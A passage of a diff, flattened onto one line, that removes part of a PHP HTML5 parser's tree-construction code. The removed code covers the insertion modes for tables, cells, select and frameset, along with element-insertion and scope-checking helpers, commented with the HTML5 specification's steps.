matches the tag name of the token, then generate implied - tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // k - - /* Now, if the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then pop - elements from the stack until that element has been popped from - the stack, and clear the list of active formatting elements up - to the last marker. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - - $marker = end(array_keys($this->a_formatting, self::MARKER, true)); - - for($n = count($this->a_formatting) - 1; $n > $marker; $n--) { - array_pop($this->a_formatting); - } - } - break; - - /* Or an end tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "hr", "iframe", "image", "img", - "input", "isindex", "noembed", "noframes", "param", "select", - "spacer", "table", "textarea", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'hr': case 'iframe': case 'image': - case 'img': case 'input': case 'isindex': case 'noembed': - case 'noframes': case 'param': case 'select': case 'spacer': - case 'table': case 'textarea': case 'wbr': - // Parse error. Ignore the token. - break; - - /* An end tag token not covered by the previous entries */ - default: - for($n = count($this->stack) - 1; $n >= 0; $n--) { - /* Initialise node to be the current node (the bottommost - node of the stack). */ - $node = end($this->stack); - - /* If node has the same tag name as the end tag token, - then: */ - if($token['name'] === $node->nodeName) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* If the tag name of the end tag token does not - match the tag name of the current node, this is a - parse error. */ - // k - - /* Pop all the nodes from the current node up to - node, including node, then stop this algorithm. */ - for($x = count($this->stack) - $n; $x >= $n; $x--) { - array_pop($this->stack); - } - - } else { - $category = $this->getElementCategory($node); - - if($category !== self::SPECIAL && $category !== self::SCOPING) { - /* Otherwise, if node is in neither the formatting - category nor the phrasing category, then this is a - parse error. Stop this algorithm. The end tag token - is ignored. */ - return false; - } - } - } - break; - } - break; - } - } - - private function inTable($token) { - $clear = array('html', 'table'); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "caption" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'caption') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - - /* Insert an HTML element for the token, then switch the - insertion mode to "in caption". */ - $this->insertElement($token); - $this->mode = self::IN_CAPTION; - - /* A start tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'colgroup') { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the - insertion mode to "in column group". */ - $this->insertElement($token); - $this->mode = self::IN_CGROUP; - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'col') { - $this->inTable(array( - 'name' => 'colgroup', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - $this->inColumnGroup($token); - - /* A start tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('tbody', 'tfoot', 'thead'))) { - /* Clear the stack back to a table context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in table body". */ - $this->insertElement($token); - $this->mode = self::IN_TBODY; - - /* A start tag whose tag name is one of: "td", "th", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && - in_array($token['name'], array('td', 'th', 'tr'))) { - /* Act as if a start tag token with the tag name "tbody" had been - seen, then reprocess the current token. */ - $this->inTable(array( - 'name' => 'tbody', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inTableBody($token); - - /* A start tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'table') { - /* Parse error. Act as if an end tag token with the tag name "table" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inTable(array( - 'name' => 'table', - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - - /* An end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - return false; - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a table element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a table element has been - popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'table') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'tbody', 'td', - 'tfoot', 'th', 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Parse error. Process the token as if the insertion mode was "in - body", with the following exception: */ - - /* If the current node is a table, tbody, tfoot, thead, or tr - element, then, whenever a node would be inserted into the current - node, it must instead be inserted into the foster parent element. */ - if(in_array(end($this->stack)->nodeName, - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* The foster parent element is the parent element of the last - table element in the stack of open elements, if there is a - table element and it has such a parent element. If there is no - table element in the stack of open elements (innerHTML case), - then the foster parent element is the first element in the - stack of open elements (the html element). Otherwise, if there - is a table element in the stack of open elements, but the last - table element in the stack of open elements has no parent, or - its parent node is not an element, then the foster parent - element is the element before the last table element in the - stack of open elements. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table') { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $table->parentNode !== null) { - $this->foster_parent = $table->parentNode; - - } elseif(!isset($table)) { - $this->foster_parent = $this->stack[0]; - - } elseif(isset($table) && ($table->parentNode === null || - $table->parentNode->nodeType !== XML_ELEMENT_NODE)) { - $this->foster_parent = $this->stack[$n - 1]; - } - } - - $this->inBody($token); - } - } - - private function inCaption($token) { - /* An end tag whose tag name is "caption" */ - if($token['type'] === HTML5::ENDTAG && $token['name'] === 'caption') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Now, if the current node is not a caption element, then this - is a parse error. */ - // w/e - - /* Pop elements from this stack until a caption element has - been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === 'caption') { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr", or an end tag whose tag - name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) || ($token['type'] === HTML5::ENDTAG && - $token['name'] === 'table')) { - /* Parse error. Act as if an end tag with the tag name "caption" - had been seen, then, if that token wasn't ignored, reprocess the - current token. */ - $this->inCaption(array( - 'name' => 'caption', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - - /* An end tag whose tag name is one of: "body", "col", "colgroup", - "html", "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'col', 'colgroup', 'html', 'tbody', 'tfoot', 'th', - 'thead', 'tr'))) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inColumnGroup($token) { - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $text = $this->dom->createTextNode($token['data']); - end($this->stack)->appendChild($text); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - end($this->stack)->appendChild($comment); - - /* A start tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'col') { - /* Insert a col element for the token. Immediately pop the current - node off the stack of open elements. */ - $this->insertElement($token); - array_pop($this->stack); - - /* An end tag whose tag name is "colgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'colgroup') { - /* If the current node is the root html element, then this is a - parse error, ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - /* Otherwise, pop the current node (which will be a colgroup - element) from the stack of open elements. Switch the insertion - mode to "in table". */ - } else { - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* An end tag whose tag name is "col" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'col') { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Act as if an end tag with the tag name "colgroup" had been seen, - and then, if that token wasn't ignored, reprocess the current token. */ - $this->inColumnGroup(array( - 'name' => 'colgroup', - 'type' => HTML5::ENDTAG - )); - - return $this->inTable($token); - } - } - - private function inTableBody($token) { - $clear = array('tbody', 'tfoot', 'thead', 'html'); - - /* A start tag whose tag name is "tr" */ - if($token['type'] === HTML5::STARTTAG && $token['name'] === 'tr') { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Insert a tr element for the token, then switch the insertion - mode to "in row". */ - $this->insertElement($token); - $this->mode = self::IN_ROW; - - /* A start tag whose tag name is one of: "th", "td" */ - } elseif($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Parse error. Act as if a start tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inTableBody(array( - 'name' => 'tr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inRow($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node from the stack of open elements. Switch - the insertion mode to "in table". */ - array_pop($this->stack); - $this->mode = self::IN_TABLE; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", or an end tag whose tag name is "table" */ - } elseif(($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoor', 'thead'))) || - ($token['type'] === HTML5::STARTTAG && $token['name'] === 'table')) { - /* If the stack of open elements does not have a tbody, thead, or - tfoot element in table scope, this is a parse error. Ignore the - token. (innerHTML case) */ - if(!$this->elementInScope(array('tbody', 'thead', 'tfoot'), true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table body context. */ - $this->clearStackToTableContext($clear); - - /* Act as if an end tag with the same tag name as the current - node ("tbody", "tfoot", or "thead") had been seen, then - reprocess the current token. */ - $this->inTableBody(array( - 'name' => end($this->stack)->nodeName, - 'type' => HTML5::ENDTAG - )); - - return $this->mainPhase($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inRow($token) { - $clear = array('tr', 'html'); - - /* A start tag whose tag name is one of: "th", "td" */ - if($token['type'] === HTML5::STARTTAG && - ($token['name'] === 'th' || $token['name'] === 'td')) { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Insert an HTML element for the token, then switch the insertion - mode to "in cell". */ - $this->insertElement($token); - $this->mode = self::IN_CELL; - - /* Insert a marker at the end of the list of active formatting - elements. */ - $this->a_formatting[] = self::MARKER; - - /* An end tag whose tag name is "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'tr') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Clear the stack back to a table row context. */ - $this->clearStackToTableContext($clear); - - /* Pop the current node (which will be a tr element) from the - stack of open elements. Switch the insertion mode to "in table - body". */ - array_pop($this->stack); - $this->mode = self::IN_TBODY; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "tfoot", "thead", "tr" or an end tag whose tag name is "table" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* Act as if an end tag with the tag name "tr" had been seen, then, - if that token wasn't ignored, reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - - /* An end tag whose tag name is one of: "tbody", "tfoot", "thead" */ - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('tbody', 'tfoot', 'thead'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Otherwise, act as if an end tag with the tag name "tr" had - been seen, then reprocess the current token. */ - $this->inRow(array( - 'name' => 'tr', - 'type' => HTML5::ENDTAG - )); - - return $this->inCell($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html", "td", "th" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html', 'td', 'th', 'tr'))) { - /* Parse error. Ignore the token. */ - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in table". */ - $this->inTable($token); - } - } - - private function inCell($token) { - /* An end tag whose tag name is one of: "td", "th" */ - if($token['type'] === HTML5::ENDTAG && - ($token['name'] === 'td' || $token['name'] === 'th')) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token, then this is a - parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise: */ - } else { - /* Generate implied end tags, except for elements with the same - tag name as the token. */ - $this->generateImpliedEndTags(array($token['name'])); - - /* Now, if the current node is not an element with the same tag - name as the token, then this is a parse error. */ - // k - - /* Pop elements from this stack until an element with the same - tag name as the token has been popped from the stack. */ - while(true) { - $node = end($this->stack)->nodeName; - array_pop($this->stack); - - if($node === $token['name']) { - break; - } - } - - /* Clear the list of active formatting elements up to the last - marker. */ - $this->clearTheActiveFormattingElementsUpToTheLastMarker(); - - /* Switch the insertion mode to "in row". (The current node - will be a tr element at this point.) */ - $this->mode = self::IN_ROW; - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* A start tag whose tag name is one of: "caption", "col", "colgroup", - "tbody", "td", "tfoot", "th", "thead", "tr" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('caption', 'col', 'colgroup', 'tbody', 'td', 'tfoot', 'th', - 'thead', 'tr'))) { - /* If the stack of open elements does not have a td or th element - in table scope, then this is a parse error; ignore the token. - (innerHTML case) */ - if(!$this->elementInScope(array('td', 'th'), true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* An end tag whose tag name is one of: "body", "caption", "col", - "colgroup", "html" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('body', 'caption', 'col', 'colgroup', 'html'))) { - /* Parse error. Ignore the token. */ - - /* An end tag whose tag name is one of: "table", "tbody", "tfoot", - "thead", "tr" */ - } elseif($token['type'] === HTML5::ENDTAG && in_array($token['name'], - array('table', 'tbody', 'tfoot', 'thead', 'tr'))) { - /* If the stack of open elements does not have an element in table - scope with the same tag name as that of the token (which can only - happen for "tbody", "tfoot" and "thead", or, in the innerHTML case), - then this is a parse error and the token must be ignored. */ - if(!$this->elementInScope($token['name'], true)) { - // Ignore. - - /* Otherwise, close the cell (see below) and reprocess the current - token. */ - } else { - $this->closeCell(); - return $this->inRow($token); - } - - /* Anything else */ - } else { - /* Process the token as if the insertion mode was "in body". */ - $this->inBody($token); - } - } - - private function inSelect($token) { - /* Handle the token as follows: */ - - /* A character token */ - if($token['type'] === HTML5::CHARACTR) { - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'option') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* A start tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::STARTTAG && - $token['name'] === 'optgroup') { - /* If the current node is an option element, act as if an end tag - with the tag name "option" had been seen. */ - if(end($this->stack)->nodeName === 'option') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, act as if an end tag - with the tag name "optgroup" had been seen. */ - if(end($this->stack)->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'optgroup', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* An end tag token whose tag name is "optgroup" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'optgroup') { - /* First, if the current node is an option element, and the node - immediately before it in the stack of open elements is an optgroup - element, then act as if an end tag with the tag name "option" had - been seen. */ - $elements_in_stack = count($this->stack); - - if($this->stack[$elements_in_stack - 1]->nodeName === 'option' && - $this->stack[$elements_in_stack - 2]->nodeName === 'optgroup') { - $this->inSelect(array( - 'name' => 'option', - 'type' => HTML5::ENDTAG - )); - } - - /* If the current node is an optgroup element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if($this->stack[$elements_in_stack - 1] === 'optgroup') { - array_pop($this->stack); - } - - /* An end tag token whose tag name is "option" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'option') { - /* If the current node is an option element, then pop that node - from the stack of open elements. Otherwise, this is a parse error, - ignore the token. */ - if(end($this->stack)->nodeName === 'option') { - array_pop($this->stack); - } - - /* An end tag whose tag name is "select" */ - } elseif($token['type'] === HTML5::ENDTAG && - $token['name'] === 'select') { - /* If the stack of open elements does not have an element in table - scope with the same tag name as the token, this is a parse error. - Ignore the token. (innerHTML case) */ - if(!$this->elementInScope($token['name'], true)) { - // w/e - - /* Otherwise: */ - } else { - /* Pop elements from the stack of open elements until a select - element has been popped from the stack. */ - while(true) { - $current = end($this->stack)->nodeName; - array_pop($this->stack); - - if($current === 'select') { - break; - } - } - - /* Reset the insertion mode appropriately. */ - $this->resetInsertionMode(); - } - - /* A start tag whose tag name is "select" */ - } elseif($token['name'] === 'select' && - $token['type'] === HTML5::STARTTAG) { - /* Parse error. Act as if the token had been an end tag with the - tag name "select" instead. */ - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - /* An end tag whose tag name is one of: "caption", "table", "tbody", - "tfoot", "thead", "tr", "td", "th" */ - } elseif(in_array($token['name'], array('caption', 'table', 'tbody', - 'tfoot', 'thead', 'tr', 'td', 'th')) && $token['type'] === HTML5::ENDTAG) { - /* Parse error. */ - // w/e - - /* If the stack of open elements has an element in table scope with - the same tag name as that of the token, then act as if an end tag - with the tag name "select" had been seen, and reprocess the token. - Otherwise, ignore the token. */ - if($this->elementInScope($token['name'], true)) { - $this->inSelect(array( - 'name' => 'select', - 'type' => HTML5::ENDTAG - )); - - $this->mainPhase($token); - } - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterBody($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed if the insertion mode - was "in body". */ - $this->inBody($token); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the first element in the stack of open - elements (the html element), with the data attribute set to the - data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->stack[0]->appendChild($comment); - - /* An end tag with the tag name "html" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') { - /* If the parser was originally created in order to handle the - setting of an element's innerHTML attribute, this is a parse error; - ignore the token. (The element will be an html element in this - case.) (innerHTML case) */ - - /* Otherwise, switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* Anything else */ - } else { - /* Parse error. Set the insertion mode to "in body" and reprocess - the token. */ - $this->mode = self::IN_BODY; - return $this->inBody($token); - } - } - - private function inFrameset($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::STARTTAG) { - $this->insertElement($token); - - /* An end tag with the tag name "frameset" */ - } elseif($token['name'] === 'frameset' && - $token['type'] === HTML5::ENDTAG) { - /* If the current node is the root html element, then this is a - parse error; ignore the token. (innerHTML case) */ - if(end($this->stack)->nodeName === 'html') { - // Ignore - - } else { - /* Otherwise, pop the current node from the stack of open - elements. */ - array_pop($this->stack); - - /* If the parser was not originally created in order to handle - the setting of an element's innerHTML attribute (innerHTML case), - and the current node is no longer a frameset element, then change - the insertion mode to "after frameset". */ - $this->mode = self::AFTR_FRAME; - } - - /* A start tag with the tag name "frame" */ - } elseif($token['name'] === 'frame' && - $token['type'] === HTML5::STARTTAG) { - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function afterFrameset($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - U+000D CARRIAGE RETURN (CR), or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* An end tag with the tag name "html" */ - } elseif($token['name'] === 'html' && - $token['type'] === HTML5::ENDTAG) { - /* Switch to the trailing end phase. */ - $this->phase = self::END_PHASE; - - /* A start tag with the tag name "noframes" */ - } elseif($token['name'] === 'noframes' && - $token['type'] === HTML5::STARTTAG) { - /* Process the token as if the insertion mode had been "in body". */ - $this->inBody($token); - - /* Anything else */ - } else { - /* Parse error. Ignore the token. */ - } - } - - private function trailingEndPhase($token) { - /* After the main phase, as each token is emitted from the tokenisation - stage, it must be processed as described in this section. */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the Document object with the data - attribute set to the data given in the comment token. */ - $comment = $this->dom->createComment($token['data']); - $this->dom->appendChild($comment); - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - } elseif($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Process the token as it would be processed in the main phase. */ - $this->mainPhase($token); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or a start tag token. Or an end tag token. */ - } elseif(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || $token['type'] === HTML5::ENDTAG) { - /* Parse error. Switch back to the main phase and reprocess the - token. */ - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* OMG DONE!! */ - } - } - - private function insertElement($token, $append = true) { - $el = $this->dom->createElement($token['name']); - - foreach($token['attr'] as $attr) { - if(!$el->hasAttribute($attr['name'])) { - $el->setAttribute($attr['name'], $attr['value']); - } - } - - $this->appendToRealParent($el); - $this->stack[] = $el; - - return $el; - } - - private function insertText($data) { - $text = $this->dom->createTextNode($data); - $this->appendToRealParent($text); - } - - private function insertComment($data) { - $comment = $this->dom->createComment($data); - $this->appendToRealParent($comment); - } - - private function appendToRealParent($node) { - if($this->foster_parent === null) { - end($this->stack)->appendChild($node); - - } elseif($this->foster_parent !== null) { - /* If the foster parent element is the parent element of the - last table element in the stack of open elements, then the new - node must be inserted immediately before the last table element - in the stack of open elements in the foster parent element; - otherwise, the new node must be appended to the foster parent - element. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === 'table' && - $this->stack[$n]->parentNode !== null) { - $table = $this->stack[$n]; - break; - } - } - - if(isset($table) && $this->foster_parent->isSameNode($table->parentNode)) - $this->foster_parent->insertBefore($node, $table); - else - $this->foster_parent->appendChild($node); - - $this->foster_parent = null; - } - } - - private function elementInScope($el, $table = false) { - if(is_array($el)) { - foreach($el as $element) { - if($this->elementInScope($element, $table)) { - return true; - } - } - - return false; - } - - $leng = count($this->stack); - - for($n = 0; $n < $leng; $n++) { - /* 1. Initialise node to be the current node (the bottommost node of - the stack). */ - $node = $this->stack[$leng - 1 - $n]; - - if($node->tagName === $el) { - /* 2. If node is the target node, terminate in a match state. */ - return true; - - } elseif($node->tagName === 'table') { - /* 3. Otherwise, if node is a table element, terminate in a failure - state. */ - return false; - - } elseif($table === true && in_array($node->tagName, array('caption', 'td', - 'th', 'button', 'marquee', 'object'))) { - /* 4. Otherwise, if the algorithm is the "has an element in scope" - variant (rather than the "has an element in table scope" variant), - and node is one of the following, terminate in a failure state. */ - return false; - - } elseif($node === $node->ownerDocument->documentElement) { - /* 5. Otherwise, if node is an html element (root element), terminate - in a failure state. (This can only happen if the node is the topmost - node of the stack of open elements, and prevents the next step from - being invoked if there are no more elements in the stack.) */ - return false; - } - - /* Otherwise, set node to the previous entry in the stack of open - elements and return to step 2. (This will never fail, since the loop - will always terminate in the previous step if the top of the stack - is reached.) */ - } - } - - private function reconstructActiveFormattingElements() { - /* 1. If there are no entries in the list of active formatting elements, - then there is nothing to reconstruct; stop this algorithm. */ - $formatting_elements = count($this->a_formatting); - - if($formatting_elements === 0) { - return false; - } - - /* 3. Let entry be the last (most recently added) element in the list - of active formatting elements. */ - $entry = end($this->a_formatting); - - /* 2. If 